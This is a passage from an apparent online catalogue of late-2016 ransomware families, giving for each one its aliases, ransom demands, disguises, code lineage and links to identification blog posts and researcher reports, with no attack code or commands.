It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.
Links |
https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html |
EnkripsiPC Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name
EnkripsiPC Ransomware is also known as:
-
IDRANSOMv3
-
Manifestus
Links |
https://id-ransomware.blogspot.co.il/2016/12/enkripsipc-ransomware.html |
https://twitter.com/BleepinComputer/status/811264254481494016 |
BrainCrypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.
Links |
https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html |
MSN CryptoLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.
Links |
https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html |
CryptoBlock Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS
Links |
https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html |
AES-NI Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html |
Koolova Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user’s desktop
Links |
https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html |
Fake Globe Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 1bitcoin.
Fake Globe Ransomware is also known as:
-
Globe Imposter
-
GlobeImposter
Links |
https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html |
https://twitter.com/malwrhunterteam/status/809795402421641216 |
V8Locker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
Links |
https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html |
Cryptorium (Fake Ransomware)
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.
Links |
https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html |
Antihacker2017 Ransomware
It’s directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc … The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).
Links |
https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html |
CIA Special Agent 767 Ransomware (FAKE!!!)
It’s directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg
LoveServer Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker request your IP address in return for the decryption.
Links |
https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html |
Kraken Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The hacker requests 2 bitcoins in return for the files.
Links |
https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html |
Antix Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.
Links |
https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html |
PayDay Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear
Links |
https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html |
https://twitter.com/BleepinComputer/status/808316635094380544 |
Slimhem Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.
Links |
https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html |
M4N1F3STO Ransomware (FAKE!!!!!)
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… FILES DON’T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!
Links |
https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html |
Dale Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… CHIP > DALE
Dale Ransomware is also known as:
-
DaleLocker Ransomware
UltraLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Based on the idiotic open-source ransomware called CryptoWire
Links |
https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html |
AES_KEY_GEN_ASSIST Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
Code Virus Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html |
FLKR Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html |
PopCorn Time Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png
Links |
https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html |
HackedLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.
Links |
https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html |
GoldenEye Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
Links |
https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html |
https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/ |
Sage Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
SQ_ Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker requests 4 bitcoins for ransom.
SQ_ Ransomware is also known as:
-
VO_ Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html |
Matrix
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
Matrix is also known as:
-
Malta Ransomware
-
Matrix Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html |
Satan666 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html |
RIP (Phoenix) Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
Links |
https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html |
https://twitter.com/BleepinComputer/status/804810315456200704 |
Locked-In Ransomware or NoValid Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe
Links |
https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html |
Chartwig Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html |
RenLocker Ransomware (FAKE)
It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [number][.crypter]
Links |
https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html |
Thanksgiving Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
CockBlocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html |
Lomix Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire
Links |
https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html |
OzozaLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. https://3.bp.blogspot.com/--jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png
Links |
https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html |
https://twitter.com/malwrhunterteam/status/801503401867673603 |
Crypute Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Crypute Ransomware is also known as:
-
m0on Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html |
https://www.bleepingcomputer.com/virus-removal/threat/ransomware/ |
NMoreira Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
NMoreira Ransomware is also known as:
-
Fake Maktub Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html |
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html |
VindowsLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.
Links |
https://id-ransomware.blogspot.co.il/2016/11/vindowslocker-ransomware.html |
https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph |
Donald Trump 2 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html
Links |
http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html |
Nagini Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\Temp\voldemort.horcrux
Nagini Ransomware is also known as:
-
Voldemort Ransomware
ShellLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html |
Chip Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Chip Ransomware is also known as:
-
ChipLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/chip-ransomware.html |
Dharma Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant
Angela Merkel Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html |
https://twitter.com/malwrhunterteam/status/798268218364358656 |
CryptoLuck Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
CryptoLuck Ransomware is also known as:
-
YafunnLocker
Links |
https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html |
Crypton Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Crypton Ransomware is also known as:
-
Nemesis
-
X3M
Links |
https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html |
https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/ |
Karma Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp
Links |
https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html |
WickedLocker HT Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html |
PClock3 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat
PClock3 Ransomware is also known as:
-
PClock SuppTeam Ransomware
-
WinPlock
-
CryptoLocker clone
Kolobo Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Kolobo Ransomware is also known as:
-
Kolobocheg Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html |
PaySafeGen (German) Ransomware
This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
PaySafeGen (German) Ransomware is also known as:
-
Paysafecard Generator 2016
Links |
https://id-ransomware.blogspot.co.il/2016/11/paysafegen-german-ransomware.html |
Telecrypt Ransomware
This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware’s authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money ). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.
CerberTear Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html |
FuckSociety Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Hidden Tear >> APT Ransomware + HYPERLINK "https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html" "_blank" RemindMe > FuckSociety
Links |
https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html |
PayDOS Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048
PayDOS Ransomware is also known as:
-
Serpent Ransomware
zScreenLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html |
Gremit Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html |
Hollycrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html |
BTCLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
BTCLocker Ransomware is also known as:
-
BTC Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html |
Kangaroo Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda
Links |
https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html |
DummyEncrypter Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html |
Encryptss77 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Encryptss77 Ransomware is also known as:
-
SFX Monster Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html |
WinRarer Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html |
Russian Globe Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html |
ZeroCrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html |
RotorCrypt(RotoCrypt, Tar) Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html |
Ishtar Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.
Links |
https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html |
MasterBuster Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html |
JackPot Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
JackPot Ransomware is also known as:
-
Jack.Pot Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/jackpot-ransomware.html |
ONYX Ransomeware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html |
IFN643 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html |
Alcatraz Locker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html |
Esmeralda Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html |
https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/ |
EncrypTile Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html |
Fileice Ransomware Survey Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG
Links |
https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html |
CryptoWire Ransomeware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html |
Hucky Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky
Hucky Ransomware is also known as:
-
Hungarian Locky Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html |
https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe |
Winnix Cryptor Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html |
AngryDuck Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC
Links |
https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html |
Lock93 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html |
https://twitter.com/malwrhunterteam/status/789882488365678592 |
ASN1 Encoder Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html |
https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/ |
Click Me Ransomware
